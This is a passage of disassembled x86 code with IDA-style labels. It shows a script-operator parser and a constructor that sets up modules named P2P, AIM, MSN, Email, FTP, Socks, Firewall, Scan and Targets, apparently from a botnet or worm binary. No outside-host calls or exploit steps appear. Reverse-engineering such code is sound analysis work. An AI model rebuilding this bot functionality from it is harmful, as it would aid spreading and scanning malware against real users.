		pop	ecx
		pop	ecx
		jnz	short loc_411038
		push	6
		jmp	loc_4111B9
; ---------------------------------------------------------------------------

loc_411038:				; CODE XREF: sub_410FAD+82j
		push	offset dword_430490
		push	esi
		call	sub_41C730
		test	eax, eax
		pop	ecx
		pop	ecx
		jnz	short loc_411050
		push	7
		jmp	loc_4111B9
; ---------------------------------------------------------------------------

loc_411050:				; CODE XREF: sub_410FAD+9Aj
		push	offset asc_430038 ; "/"
		push	esi
		call	sub_41C730
		test	eax, eax
		pop	ecx
		pop	ecx
		jnz	short loc_411068
		push	8
		jmp	loc_4111B9
; ---------------------------------------------------------------------------

loc_411068:				; CODE XREF: sub_410FAD+B2j
		push	offset dword_4304A8
		push	esi
		call	sub_41C730
		test	eax, eax
		pop	ecx
		pop	ecx
		jnz	short loc_411080
		push	9
		jmp	loc_4111B9
; ---------------------------------------------------------------------------

loc_411080:				; CODE XREF: sub_410FAD+CAj
		push	offset asc_4308D4 ; "<<"
		push	esi
		call	sub_41C730
		test	eax, eax
		pop	ecx
		pop	ecx
		jnz	short loc_411098
		push	0Ah
		jmp	loc_4111B9
; ---------------------------------------------------------------------------

loc_411098:				; CODE XREF: sub_410FAD+E2j
		push	offset asc_4308D0 ; ">>"
		push	esi
		call	sub_41C730
		test	eax, eax
		pop	ecx
		pop	ecx
		jnz	short loc_4110B0
		push	0Bh
		jmp	loc_4111B9
; ---------------------------------------------------------------------------

loc_4110B0:				; CODE XREF: sub_410FAD+FAj
		push	offset dword_430498
		push	esi
		call	sub_41C730
		test	eax, eax
		pop	ecx
		pop	ecx
		jnz	short loc_4110C8
		push	0Ch
		jmp	loc_4111B9
; ---------------------------------------------------------------------------

loc_4110C8:				; CODE XREF: sub_410FAD+112j
		push	offset dword_4303D0
		push	esi
		call	sub_41C730
		test	eax, eax
		pop	ecx
		pop	ecx
		jnz	short loc_4110E0
		push	0Dh
		jmp	loc_4111B9
; ---------------------------------------------------------------------------

loc_4110E0:				; CODE XREF: sub_410FAD+12Aj
		push	offset dword_4304A0
		push	esi
		call	sub_41C730
		test	eax, eax
		pop	ecx
		pop	ecx
		jnz	short loc_4110F8
		push	0Eh
		jmp	loc_4111B9
; ---------------------------------------------------------------------------

loc_4110F8:				; CODE XREF: sub_410FAD+142j
		push	offset dword_4303B4
		push	esi
		call	sub_41C730
		test	eax, eax
		pop	ecx
		pop	ecx
		jnz	short loc_411110
		push	0Fh
		jmp	loc_4111B9
; ---------------------------------------------------------------------------

loc_411110:				; CODE XREF: sub_410FAD+15Aj
		push	offset asc_4308CC ; "&&"
		push	esi
		call	sub_41C730
		test	eax, eax
		pop	ecx
		pop	ecx
		jnz	short loc_411128
		push	10h
		jmp	loc_4111B9
; ---------------------------------------------------------------------------

loc_411128:				; CODE XREF: sub_410FAD+172j
		push	offset asc_4308C8 ; "||"
		push	esi
		call	sub_41C730
		test	eax, eax
		pop	ecx
		pop	ecx
		jnz	short loc_41113D
		push	11h
		jmp	short loc_4111B9
; ---------------------------------------------------------------------------

loc_41113D:				; CODE XREF: sub_410FAD+18Aj
		push	offset asc_43036C ; "!"
		push	esi
		call	sub_41C730
		test	eax, eax
		pop	ecx
		pop	ecx
		jnz	short loc_411152
		push	12h
		jmp	short loc_4111B9
; ---------------------------------------------------------------------------

loc_411152:				; CODE XREF: sub_410FAD+19Fj
		push	offset asc_4308C4 ; "=="
		push	esi
		call	sub_41C730
		test	eax, eax
		pop	ecx
		pop	ecx
		jnz	short loc_411167
		push	13h
		jmp	short loc_4111B9
; ---------------------------------------------------------------------------

loc_411167:				; CODE XREF: sub_410FAD+1B4j
		push	offset dword_4303BC
		push	esi
		call	sub_41C730
		test	eax, eax
		pop	ecx
		pop	ecx
		jnz	short loc_41117C
		push	14h
		jmp	short loc_4111B9
; ---------------------------------------------------------------------------

loc_41117C:				; CODE XREF: sub_410FAD+1C9j
		push	offset dword_4304C8
		push	esi
		call	sub_41C730
		test	eax, eax
		pop	ecx
		pop	ecx
		jnz	short loc_411191
		push	15h
		jmp	short loc_4111B9
; ---------------------------------------------------------------------------

loc_411191:				; CODE XREF: sub_410FAD+1DEj
		push	offset asc_4308C0 ; "!="
		push	esi
		call	sub_41C730
		test	eax, eax
		pop	ecx
		pop	ecx
		jnz	short loc_4111A6
		push	16h
		jmp	short loc_4111B9
; ---------------------------------------------------------------------------

loc_4111A6:				; CODE XREF: sub_410FAD+1F3j
		push	offset asc_4308BC ; ">="
		push	esi
		call	sub_41C730
		test	eax, eax
		pop	ecx
		pop	ecx
		jnz	short loc_4111BB
		push	17h

loc_4111B9:				; CODE XREF: sub_410FAD+26j
					; sub_410FAD+3Ej ...
		pop	eax
		retn
; ---------------------------------------------------------------------------

loc_4111BB:				; CODE XREF: sub_410FAD+208j
		push	offset asc_4308B8 ; "<="
		push	esi
		call	sub_41C730
		neg	eax
		sbb	eax, eax
		pop	ecx
		and	eax, 0FFFFFFE8h
		pop	ecx
		add	eax, 18h
		retn
sub_410FAD	endp


; =============== S U B	R O U T	I N E =======================================



sub_4111D3	proc near		; CODE XREF: sub_41226A+22Dp
					; sub_41226A+40Dp
		cmp	eax, 1
		jz	short loc_4111E5
		cmp	eax, 4
		jz	short loc_4111E5
		cmp	eax, 5
		jz	short loc_4111E5
		xor	eax, eax
		retn
; ---------------------------------------------------------------------------

loc_4111E5:				; CODE XREF: sub_4111D3+3j
					; sub_4111D3+8j ...
		xor	eax, eax
		inc	eax
		retn
sub_4111D3	endp


; =============== S U B	R O U T	I N E =======================================



sub_4111E9	proc near		; CODE XREF: sub_411204+3p
					; sub_413535+6Bp ...
		cmp	eax, 3
		jz	short loc_411200
		cmp	eax, 0Dh
		jz	short loc_411200
		cmp	eax, 0Eh
		jz	short loc_411200
		cmp	eax, 0Fh
		jz	short loc_411200
		xor	eax, eax
		retn
; ---------------------------------------------------------------------------

loc_411200:				; CODE XREF: sub_4111E9+3j
					; sub_4111E9+8j ...
		xor	eax, eax
		inc	eax
		retn
sub_4111E9	endp


; =============== S U B	R O U T	I N E =======================================



sub_411204	proc near		; CODE XREF: sub_413535+5Fp
					; sub_41371A+Fp ...
		push	esi
		mov	esi, ecx
		call	sub_4111E9
		test	eax, eax
		jnz	short loc_411246
		call	sub_410FAD
		cmp	eax, 12h
		jz	short loc_411246
		call	sub_410FAD
		cmp	eax, 0Fh
		jz	short loc_411246
		call	sub_410FAD
		cmp	eax, 6
		jz	short loc_411246
		call	sub_410FAD
		cmp	eax, 4
		jz	short loc_411246
		call	sub_410FAD
		cmp	eax, 5
		jz	short loc_411246
		xor	eax, eax
		pop	esi
		retn
; ---------------------------------------------------------------------------

loc_411246:				; CODE XREF: sub_411204+Aj
					; sub_411204+14j ...
		xor	eax, eax
		inc	eax
		pop	esi
		retn
sub_411204	endp


; =============== S U B	R O U T	I N E =======================================



sub_41124B	proc near		; CODE XREF: sub_412B5E+20p
					; sub_413535+50p ...

arg_0		= dword	ptr  4

		cmp	[esp+arg_0], 4
		push	esi
		mov	esi, eax
		jnz	short loc_411295
		call	sub_410FAD
		test	eax, eax
		jz	short loc_411295
		call	sub_410FAD
		cmp	eax, 12h
		jz	short loc_411295
		call	sub_410FAD
		cmp	eax, 0Fh
		jz	short loc_411295
		call	sub_410FAD
		cmp	eax, 6
		jz	short loc_411295
		call	sub_410FAD
		cmp	eax, 4
		jz	short loc_411295
		call	sub_410FAD
		cmp	eax, 5
		jz	short loc_411295
		xor	eax, eax
		inc	eax
		pop	esi
		retn
; ---------------------------------------------------------------------------

loc_411295:				; CODE XREF: sub_41124B+8j
					; sub_41124B+11j ...
		xor	eax, eax
		pop	esi
		retn
sub_41124B	endp


; =============== S U B	R O U T	I N E =======================================



sub_411299	proc near		; CODE XREF: .text:004086CAp
					; sub_40C201+25p
		mov	eax, offset loc_427EBE
		call	sub_41E550
		push	esi
		mov	esi, [ebp+8]
		and	dword ptr [esi+4], 0
		or	dword ptr [esi+0Ch], 0FFFFFFFFh
		and	dword ptr [ebp-4], 0
		push	dword ptr [ebp+0Ch]
		mov	dword ptr [esi], offset	off_4307F0
		call	sub_41C350
		inc	eax
		inc	eax
		push	eax
		call	sub_41BAB5
		push	dword ptr [ebp+0Ch]
		mov	[esi+14h], eax
		push	eax
		call	sub_41C930
		push	offset dword_4303A4
		push	dword ptr [esi+14h]
		call	sub_41C940
		push	2DCh
		call	sub_41BA91
		add	esp, 1Ch
		mov	[ebp+0Ch], eax
		test	eax, eax
		mov	byte ptr [ebp-4], 1
		jz	short loc_411306
		push	esi
		push	dword ptr [esi+14h]
		push	eax
		call	sub_411377
		jmp	short loc_411308
; ---------------------------------------------------------------------------

loc_411306:				; CODE XREF: sub_411299+5Fj
		xor	eax, eax

loc_411308:				; CODE XREF: sub_411299+6Bj
		mov	ecx, [ebp-0Ch]
		mov	[esi+10h], eax
		mov	eax, esi
		pop	esi
		mov	large fs:0, ecx
		leave
		retn	8
sub_411299	endp


; =============== S U B	R O U T	I N E =======================================



sub_41131C	proc near		; DATA XREF: .text:004307F4o

arg_0		= byte ptr  4

		push	esi
		mov	esi, ecx
		call	sub_411338
		test	[esp+4+arg_0], 1
		jz	short loc_411332
		push	esi
		call	sub_41C7B8
		pop	ecx

loc_411332:				; CODE XREF: sub_41131C+Dj
		mov	eax, esi
		pop	esi
		retn	4
sub_41131C	endp


; =============== S U B	R O U T	I N E =======================================



sub_411338	proc near		; CODE XREF: sub_41131C+3p
		push	ebx
		push	dword ptr [esi+14h]
		mov	dword ptr [esi], offset	off_4307F0
		call	sub_41CA28
		mov	ebx, [esi+10h]
		test	ebx, ebx
		pop	ecx
		jz	short loc_41135B
		call	sub_4121F3
		push	ebx
		call	sub_41C7B8
		pop	ecx

loc_41135B:				; CODE XREF: sub_411338+15j
		mov	ecx, esi
		pop	ebx
		jmp	sub_416AA6
sub_411338	endp

; ---------------------------------------------------------------------------

loc_411363:				; DATA XREF: .text:off_4307F0o
		mov	eax, [ecx+10h]
		jmp	loc_41223B

; =============== S U B	R O U T	I N E =======================================



sub_41136B	proc near		; DATA XREF: .text:004307F8o
		push	ecx
		mov	eax, offset dword_4381B8
		call	sub_4138FB
		retn
sub_41136B	endp


; =============== S U B	R O U T	I N E =======================================



sub_411377	proc near		; CODE XREF: sub_411299+66p
		mov	eax, offset loc_427EA2
		call	sub_41E550
		sub	esp, 38h
		push	ebx
		mov	ebx, [ebp+8]
		push	esi
		push	edi
		push	dword ptr [ebp+0Ch]
		lea	esi, [ebx+104h]
		call	sub_4109EB
		and	dword ptr [ebp-4], 0
		push	offset word_42FE36
		lea	eax, [ebx+15Ch]
		push	eax
		mov	ecx, ebx
		call	sub_413878
		lea	eax, [ebx+288h]
		push	eax
		mov	byte ptr [ebp-4], 1
		call	sub_4121C3
		lea	eax, [ebx+2A8h]
		push	eax
		mov	byte ptr [ebp-4], 2
		call	sub_4121C3
		lea	edi, [ebx+2C8h]
		xor	eax, eax
		mov	[edi+4], eax
		mov	[edi+8], eax
		mov	[edi+0Ch], eax
		mov	byte ptr [ebp-4], 4
		mov	ecx, [ebp+0Ch]
		mov	[ebx+150h], ecx
		mov	ecx, [ebp+10h]
		mov	esi, 12Ch
		push	esi
		mov	[ebx+2D8h], ecx
		mov	[ebx+100h], eax
		mov	[ebx+154h], eax
		mov	[ebx+158h], eax
		mov	[ebx], al
		call	sub_41BA91
		pop	ecx
		mov	[ebp+0Ch], eax
		test	eax, eax
		mov	byte ptr [ebp-4], 5
		jz	short loc_411433
		push	offset aP2p	; "P2P"
		push	eax
		mov	ecx, ebx
		call	sub_413878
		mov	[ebp+10h], eax
		jmp	short loc_411437
; ---------------------------------------------------------------------------

loc_411433:				; CODE XREF: sub_411377+A8j
		and	dword ptr [ebp+10h], 0

loc_411437:				; CODE XREF: sub_411377+BAj
		push	dword ptr [ebp+10h]
		mov	eax, edi
		mov	byte ptr [ebp-4], 4
		call	sub_41377F
		push	dword ptr [ebp+10h]
		lea	eax, [ebx+274h]
		mov	[ebp+0Ch], eax
		call	sub_413D2E
		push	esi
		call	sub_41BA91
		pop	ecx
		mov	[ebp-44h], eax
		test	eax, eax
		mov	byte ptr [ebp-4], 6
		jz	short loc_41147A
		push	offset aCount	; "Count"
		push	eax
		mov	ecx, ebx
		call	sub_413878
		mov	[ebp-14h], eax
		jmp	short loc_41147E
; ---------------------------------------------------------------------------

loc_41147A:				; CODE XREF: sub_411377+EFj
		and	dword ptr [ebp-14h], 0

loc_41147E:				; CODE XREF: sub_411377+101j
		push	dword ptr [ebp-14h]
		mov	eax, edi
		mov	byte ptr [ebp-4], 4
		call	sub_41377F
		mov	eax, [ebp+10h]
		push	dword ptr [ebp-14h]
		add	eax, 118h
		call	sub_413D2E
		push	esi
		call	sub_41BA91
		pop	ecx
		mov	[ebp-44h], eax
		test	eax, eax
		mov	byte ptr [ebp-4], 7
		jz	short loc_4114C0
		push	offset aHttp_0	; "HTTP"
		push	eax
		mov	ecx, ebx
		call	sub_413878
		mov	[ebp-18h], eax
		jmp	short loc_4114C4
; ---------------------------------------------------------------------------

loc_4114C0:				; CODE XREF: sub_411377+135j
		and	dword ptr [ebp-18h], 0

loc_4114C4:				; CODE XREF: sub_411377+147j
		push	dword ptr [ebp-18h]
		mov	eax, edi
		mov	byte ptr [ebp-4], 4
		call	sub_41377F
		push	dword ptr [ebp-18h]
		mov	eax, [ebp+0Ch]
		call	sub_413D2E
		push	esi
		call	sub_41BA91
		pop	ecx
		mov	[ebp-44h], eax
		test	eax, eax
		mov	byte ptr [ebp-4], 8
		jz	short loc_411501
		push	offset aLogs	; "Logs"
		push	eax
		mov	ecx, ebx
		call	sub_413878
		mov	[ebp-1Ch], eax
		jmp	short loc_411505
; ---------------------------------------------------------------------------

loc_411501:				; CODE XREF: sub_411377+176j
		and	dword ptr [ebp-1Ch], 0

loc_411505:				; CODE XREF: sub_411377+188j
		push	dword ptr [ebp-1Ch]
		mov	eax, edi
		mov	byte ptr [ebp-4], 4
		call	sub_41377F
		push	dword ptr [ebp-1Ch]
		mov	eax, [ebp+0Ch]
		call	sub_413D2E
		push	esi
		call	sub_41BA91
		pop	ecx
		mov	[ebp-44h], eax
		test	eax, eax
		mov	byte ptr [ebp-4], 9
		jz	short loc_411542
		push	offset off_430898
		push	eax
		mov	ecx, ebx
		call	sub_413878
		mov	[ebp-20h], eax
		jmp	short loc_411546
; ---------------------------------------------------------------------------

loc_411542:				; CODE XREF: sub_411377+1B7j
		and	dword ptr [ebp-20h], 0

loc_411546:				; CODE XREF: sub_411377+1C9j
		push	dword ptr [ebp-20h]
		mov	eax, edi
		mov	byte ptr [ebp-4], 4
		call	sub_41377F
		push	dword ptr [ebp-20h]
		mov	eax, [ebp+0Ch]
		call	sub_413D2E
		push	esi
		call	sub_41BA91
		pop	ecx
		mov	[ebp-44h], eax
		test	eax, eax
		mov	byte ptr [ebp-4], 0Ah
		jz	short loc_411583
		push	offset aAim	; "AIM"
		push	eax
		mov	ecx, ebx
		call	sub_413878
		mov	[ebp-24h], eax
		jmp	short loc_411587
; ---------------------------------------------------------------------------

loc_411583:				; CODE XREF: sub_411377+1F8j
		and	dword ptr [ebp-24h], 0

loc_411587:				; CODE XREF: sub_411377+20Aj
		push	dword ptr [ebp-24h]
		mov	eax, edi
		mov	byte ptr [ebp-4], 4
		call	sub_41377F
		push	dword ptr [ebp-24h]
		mov	eax, [ebp+0Ch]
		call	sub_413D2E
		push	esi
		call	sub_41BA91
		pop	ecx
		mov	[ebp-44h], eax
		test	eax, eax
		mov	byte ptr [ebp-4], 0Bh
		jz	short loc_4115C4
		push	offset aMsn	; "MSN"
		push	eax
		mov	ecx, ebx
		call	sub_413878
		mov	[ebp-28h], eax
		jmp	short loc_4115C8
; ---------------------------------------------------------------------------

loc_4115C4:				; CODE XREF: sub_411377+239j
		and	dword ptr [ebp-28h], 0

loc_4115C8:				; CODE XREF: sub_411377+24Bj
		push	dword ptr [ebp-28h]
		mov	eax, edi
		mov	byte ptr [ebp-4], 4
		call	sub_41377F
		push	dword ptr [ebp-28h]
		mov	eax, [ebp+0Ch]
		call	sub_413D2E
		push	esi
		call	sub_41BA91
		pop	ecx
		mov	[ebp-44h], eax
		test	eax, eax
		mov	byte ptr [ebp-4], 0Ch
		jz	short loc_411605
		push	offset aEmail	; "Email"
		push	eax
		mov	ecx, ebx
		call	sub_413878
		mov	[ebp-44h], eax
		jmp	short loc_411609
; ---------------------------------------------------------------------------

loc_411605:				; CODE XREF: sub_411377+27Aj
		and	dword ptr [ebp-44h], 0

loc_411609:				; CODE XREF: sub_411377+28Cj
		mov	byte ptr [ebp-4], 4
		push	dword ptr [ebp-44h]
		mov	eax, edi
		call	sub_41377F
		push	dword ptr [ebp-44h]
		mov	eax, [ebp+0Ch]
		call	sub_413D2E
		push	esi
		call	sub_41BA91
		pop	ecx
		mov	[ebp-44h], eax
		test	eax, eax
		mov	byte ptr [ebp-4], 0Dh
		jz	short loc_411646
		push	offset aFtp	; "FTP"
		push	eax
		mov	ecx, ebx
		call	sub_413878
		mov	[ebp-44h], eax
		jmp	short loc_41164A
; ---------------------------------------------------------------------------

loc_411646:				; CODE XREF: sub_411377+2BBj
		and	dword ptr [ebp-44h], 0

loc_41164A:				; CODE XREF: sub_411377+2CDj
		mov	byte ptr [ebp-4], 4
		push	dword ptr [ebp-44h]
		mov	eax, edi
		call	sub_41377F
		push	dword ptr [ebp-44h]
		mov	eax, [ebp+0Ch]
		call	sub_413D2E
		push	esi
		call	sub_41BA91
		pop	ecx
		mov	[ebp-44h], eax
		test	eax, eax
		mov	byte ptr [ebp-4], 0Eh
		jz	short loc_411687
		push	offset aSocks	; "Socks"
		push	eax
		mov	ecx, ebx
		call	sub_413878
		mov	[ebp-2Ch], eax
		jmp	short loc_41168B
; ---------------------------------------------------------------------------

loc_411687:				; CODE XREF: sub_411377+2FCj
		and	dword ptr [ebp-2Ch], 0

loc_41168B:				; CODE XREF: sub_411377+30Ej
		push	dword ptr [ebp-2Ch]
		mov	eax, edi
		mov	byte ptr [ebp-4], 4
		call	sub_41377F
		push	dword ptr [ebp-2Ch]
		mov	eax, [ebp+0Ch]
		call	sub_413D2E
		push	esi
		call	sub_41BA91
		pop	ecx
		mov	[ebp-44h], eax
		test	eax, eax
		mov	byte ptr [ebp-4], 0Fh
		jz	short loc_4116C8
		push	offset aFirewall ; "Firewall"
		push	eax
		mov	ecx, ebx
		call	sub_413878
		mov	[ebp-30h], eax
		jmp	short loc_4116CC
; ---------------------------------------------------------------------------

loc_4116C8:				; CODE XREF: sub_411377+33Dj
		and	dword ptr [ebp-30h], 0

loc_4116CC:				; CODE XREF: sub_411377+34Fj
		push	dword ptr [ebp-30h]
		mov	eax, edi
		mov	byte ptr [ebp-4], 4
		call	sub_41377F
		push	dword ptr [ebp-30h]
		mov	eax, [ebp+0Ch]
		call	sub_413D2E
		push	esi
		call	sub_41BA91
		pop	ecx
		mov	[ebp-44h], eax
		test	eax, eax
		mov	byte ptr [ebp-4], 10h
		jz	short loc_411709
		push	offset aScan	; "Scan"
		push	eax
		mov	ecx, ebx
		call	sub_413878
		mov	[ebp-10h], eax
		jmp	short loc_41170D
; ---------------------------------------------------------------------------

loc_411709:				; CODE XREF: sub_411377+37Ej
		and	dword ptr [ebp-10h], 0

loc_41170D:				; CODE XREF: sub_411377+390j
		push	dword ptr [ebp-10h]
		mov	eax, edi
		mov	byte ptr [ebp-4], 4
		call	sub_41377F
		push	dword ptr [ebp-10h]
		mov	eax, [ebp+0Ch]
		call	sub_413D2E
		push	esi
		call	sub_41BA91
		pop	ecx
		mov	[ebp-44h], eax
		test	eax, eax
		mov	byte ptr [ebp-4], 11h
		jz	short loc_41174A
		push	offset aTargets	; "Targets"
		push	eax
		mov	ecx, ebx
		call	sub_413878
		mov	[ebp-34h], eax
		jmp	short loc_41174E
; ---------------------------------------------------------------------------

loc_41174A:				; CODE XREF: sub_411377+3BFj
		and	dword ptr [ebp-34h], 0

loc_41174E:				; CODE XREF: sub_411377+3D1j
		push	dword ptr [ebp-34h]
		mov	eax, edi
		mov	byte ptr [ebp-4], 4
		call	sub_41377F
		mov	eax, [ebp-10h]
		push	dword ptr [ebp-34h]
		add	eax, 118h
		call	sub_413D2E
		push	esi
		call	sub_41BA91
		pop	ecx
		mov	[ebp-44h], eax
		test	eax, eax
		mov	byte ptr [ebp-4], 12h
		jz	short loc_411790
		push	offset aScripts	; "Scripts"
		push	eax
		mov	ecx, ebx
		call	sub_413878
		mov	[ebp-38h], eax
		jmp	short loc_411794
; ---------------------------------------------------------------------------

loc_411790:				; CODE XREF: sub_411377+405j
		and	dword ptr [ebp-38h], 0

loc_411794:				; CODE XREF: sub_411377+417j
		push	dword ptr [ebp-38h]
		mov	eax, edi
		mov	byte ptr [ebp-4], 4
		call	sub_41377F
		push	dword ptr [ebp-38h]
		mov	eax, [ebp+0Ch]
		call	sub_413D2E
		push	esi
		call	sub_41BA91
		pop	ecx
		mov	[ebp-44h], eax
		test	eax, eax
		mov	byte ptr [ebp-4], 13h
		jz	short loc_4117D1
		push	offset aUdp	; "UDP"
		push	eax
		mov	ecx, ebx
		call	sub_413878
		mov	[ebp-3Ch], eax
		jmp	short loc_4117D5
; ---------------------------------------------------------------------------

loc_4117D1:				; CODE XREF: sub_411377+446j
		and	dword ptr [ebp-3Ch], 0

loc_4117D5:				; CODE XREF: sub_411377+458j
		push	dword ptr [ebp-3Ch]
		mov	eax, edi
		mov	byte ptr [ebp-4], 4
		call	sub_41377F
		push	dword ptr [ebp-3Ch]
		mov	eax, [ebp+0Ch]
		call	sub_413D2E
		push	esi
		call	sub_41BA91
		pop	ecx
		mov	[ebp-44h], eax
		test	eax, eax
		mov	byte ptr [ebp-4], 14h
		jz	short loc_411812
		push	offset aTcp	; "TCP"
		push	eax
		mov	ecx, ebx
		call	sub_413878
		mov	[ebp-40h], eax
		jmp	short loc_411816
; ---------------------------------------------------------------------------

loc_411812:				; CODE XREF: sub_411377+487j
		and	dword ptr [ebp-40h], 0

loc_411816:				; CODE XREF: sub_411377+499j
		push	dword ptr [ebp-40h]
		mov	eax, edi
		mov	byte ptr [ebp-4], 4
		call	sub_41377F
		push	dword ptr [ebp-40h]
		mov	eax, [ebp+0Ch]
		call	sub_413D2E
		push	esi
		call	sub_41BA91
		pop	ecx
		mov	[ebp-44h], eax
		test	eax, eax
		mov	byte ptr [ebp-4], 15h
		jz	short loc_411853
		push	offset aPvar	; "PVAR"
		push	eax
		mov	ecx, ebx
		call	sub_413878
		mov	[ebp-44h], eax
		jmp	short loc_411857
; ---------------------------------------------------------------------------

loc_411853:				; CODE XREF: sub_411377+4C8j
		and	dword ptr [ebp-44h], 0

loc_411857:				; CODE XREF: sub_411377+4DAj
		mov	byte ptr [ebp-4], 4
		push	dword ptr [ebp-44h]
		mov	eax, edi
		call	sub_41377F
		push	dword ptr [ebp-44h]
		mov	eax, [ebp+0Ch]
		call	sub_413D2E
		mov	esi, 114h
		push	esi
		call	sub_41BA91
		test	eax, eax
		pop	ecx
		jz	short loc_41188A
		call	sub_40EC1D
		mov	[ebp+0Ch], eax
		jmp	short loc_41188E
; ---------------------------------------------------------------------------

loc_41188A:				; CODE XREF: sub_411377+507j
		and	dword ptr [ebp+0Ch], 0

loc_41188E:				; CODE XREF: sub_411377+511j
		push	dword ptr [ebp+0Ch]
		mov	eax, edi
		call	sub_41377F
		mov	ebx, [ebp+8]
		push	dword ptr [ebp+0Ch]
		add	ebx, 260h
		mov	eax, ebx
		call	sub_413CBE
		push	esi
		call	sub_41BA91
		test	eax, eax
		pop	ecx
		jz	short loc_4118C0
		call	sub_40ECA6
		mov	[ebp+0Ch], eax
		jmp	short loc_4118C4
; ---------------------------------------------------------------------------

loc_4118C0:				; CODE XREF: sub_411377+53Dj
		and	dword ptr [ebp+0Ch], 0

loc_4118C4:				; CODE XREF: sub_411377+547j
		push	dword ptr [ebp+0Ch]
		mov	eax, edi
		call	sub_41377F
		push	dword ptr [ebp+0Ch]
		mov	eax, ebx
		call	sub_413CBE
		push	esi
		call	sub_41BA91
		test	eax, eax
		pop	ecx
		jz	short loc_4118ED
		call	sub_40EC70
		mov	[ebp+0Ch], eax
		jmp	short loc_4118F1
; ---------------------------------------------------------------------------

loc_4118ED:				; CODE XREF: sub_411377+56Aj
		and	dword ptr [ebp+0Ch], 0

loc_4118F1:				; CODE XREF: sub_411377+574j
		push	dword ptr [ebp+0Ch]
		mov	eax, edi
		call	sub_41377F
		push	dword ptr [ebp+0Ch]
		mov	eax, ebx
		call	sub_413CBE
		push	esi
		call	sub_41BA91
		test	eax, eax
		pop	ecx
		jz	short loc_41191A
		call	sub_40ED01
		mov	[ebp+0Ch], eax
		jmp	short loc_41191E
; ---------------------------------------------------------------------------

loc_41191A:				; CODE XREF: sub_411377+597j
		and	dword ptr [ebp+0Ch], 0

loc_41191E:				; CODE XREF: sub_411377+5A1j
		push	dword ptr [ebp+0Ch]
		mov	eax, edi
		call	sub_41377F
		push	dword ptr [ebp+0Ch]
		mov	eax, ebx
		call	sub_413CBE
		push	esi
		call	sub_41BA91
		test	eax, eax
		pop	ecx
		jz	short loc_411947
		call	sub_40ED70
		mov	[ebp+0Ch], eax
		jmp	short loc_41194B
; ---------------------------------------------------------------------------

loc_411947:				; CODE XREF: sub_411377+5C4j
		and	dword ptr [ebp+0Ch], 0

loc_41194B:				; CODE XREF: sub_411377+5CEj
		push	dword ptr [ebp+0Ch]
		mov	eax, edi
		call	sub_41377F
		push	dword ptr [ebp+0Ch]
		mov	eax, ebx
		call	sub_413CBE
		push	esi
		call	sub_41BA91
		test	eax, eax
		pop	ecx
		jz	short loc_411974
		call	sub_40EDAE
		mov	[ebp+0Ch], eax
		jmp	short loc_411978
; ---------------------------------------------------------------------------

loc_411974:				; CODE XREF: sub_411377+5F1j
		and	dword ptr [ebp+0Ch], 0

loc_411978:				; CODE XREF: sub_411377+5FBj
		push	dword ptr [ebp+0Ch]
		mov	eax, edi
		call	sub_41377F
		push	dword ptr [ebp+0Ch]
		mov	eax, ebx
		call	sub_413CBE
		push	esi
		call	sub_41BA91
		test	eax, eax
		pop	ecx
		jz	short loc_4119A1
		call	sub_40EDF5
		mov	[ebp+0Ch], eax
		jmp	short loc_4119A5
; ---------------------------------------------------------------------------

loc_4119A1:				; CODE XREF: sub_411377+61Ej
		and	dword ptr [ebp+0Ch], 0

loc_4119A5:				; CODE XREF: sub_411377+628j
		push	dword ptr [ebp+0Ch]
		mov	eax, edi
		call	sub_41377F
		push	dword ptr [ebp+0Ch]
		mov	eax, ebx
		call	sub_413CBE
		push	esi
		call	sub_41BA91
		test	eax, eax
		pop	ecx
		jz	short loc_4119CE
		call	sub_40EE26
		mov	[ebp+0Ch], eax
		jmp	short loc_4119D2
; ---------------------------------------------------------------------------

loc_4119CE:				; CODE XREF: sub_411377+64Bj
		and	dword ptr [ebp+0Ch], 0

loc_4119D2:				; CODE XREF: sub_411377+655j
		push	dword ptr [ebp+0Ch]
		mov	eax, edi
		call	sub_41377F
		push	dword ptr [ebp+0Ch]
		mov	eax, ebx
		call	sub_413CBE
		push	esi
		call	sub_41BA91
		test	eax, eax
		pop	ecx
		jz	short loc_4119FB
		call	sub_40EE5F
		mov	[ebp+0Ch], eax
		jmp	short loc_4119FF
; ---------------------------------------------------------------------------

loc_4119FB:				; CODE XREF: sub_411377+678j
		and	dword ptr [ebp+0Ch], 0

loc_4119FF:				; CODE XREF: sub_411377+682j
		push	dword ptr [ebp+0Ch]
		mov	eax, edi
		call	sub_41377F
		push	dword ptr [ebp+0Ch]
		mov	eax, ebx
		call	sub_413CBE
		push	esi
		call	sub_41BA91
		test	eax, eax
		pop	ecx
		jz	short loc_411A28
		call	sub_40EE98
		mov	[ebp+0Ch], eax
		jmp	short loc_411A2C
; ---------------------------------------------------------------------------

loc_411A28:				; CODE XREF: sub_411377+6A5j
		and	dword ptr [ebp+0Ch], 0

loc_411A2C:				; CODE XREF: sub_411377+6AFj
		push	dword ptr [ebp+0Ch]
		mov	eax, edi
		call	sub_41377F
		push	dword ptr [ebp+0Ch]
		mov	eax, ebx
		call	sub_413CBE
		push	esi
		call	sub_41BA91
		test	eax, eax
		pop	ecx
		jz	short loc_411A55
		call	sub_40EED1
		mov	[ebp+0Ch], eax
		jmp	short loc_411A59
; ---------------------------------------------------------------------------

loc_411A55:				; CODE XREF: sub_411377+6D2j
		and	dword ptr [ebp+0Ch], 0

loc_411A59:				; CODE XREF: sub_411377+6DCj
		push	dword ptr [ebp+0Ch]
		mov	eax, edi
		call	sub_41377F
		push	dword ptr [ebp+0Ch]
		mov	eax, ebx
		call	sub_413CBE
		push	esi
		call	sub_41BA91
		test	eax, eax
		pop	ecx
		jz	short loc_411A82
		call	sub_40EF10
		mov	[ebp+0Ch], eax
		jmp	short loc_411A86
; ---------------------------------------------------------------------------

loc_411A82:				; CODE XREF: sub_411377+6FFj
		and	dword ptr [ebp+0Ch], 0

loc_411A86:				; CODE XREF: sub_411377+709j
		push	dword ptr [ebp+0Ch]
		mov	eax, edi
		call	sub_41377F
		mov	ebx, [ebp+10h]
		push	dword ptr [ebp+0Ch]
		add	ebx, 104h
		mov	eax, ebx
		call	sub_413CBE
		push	esi
		call	sub_41BA91
		test	eax, eax
		pop	ecx
		jz	short loc_411AB8
		call	sub_40EF4C
		mov	[ebp+0Ch], eax
		jmp	short loc_411ABC
; ---------------------------------------------------------------------------

loc_411AB8:				; CODE XREF: sub_411377+735j
		and	dword ptr [ebp+0Ch], 0

loc_411ABC:				; CODE XREF: sub_411377+73Fj
		push	dword ptr [ebp+0Ch]
		mov	eax, edi
		call	sub_41377F
		push	dword ptr [ebp+0Ch]
		mov	eax, ebx
		call	sub_413CBE
		push	esi
		call	sub_41BA91
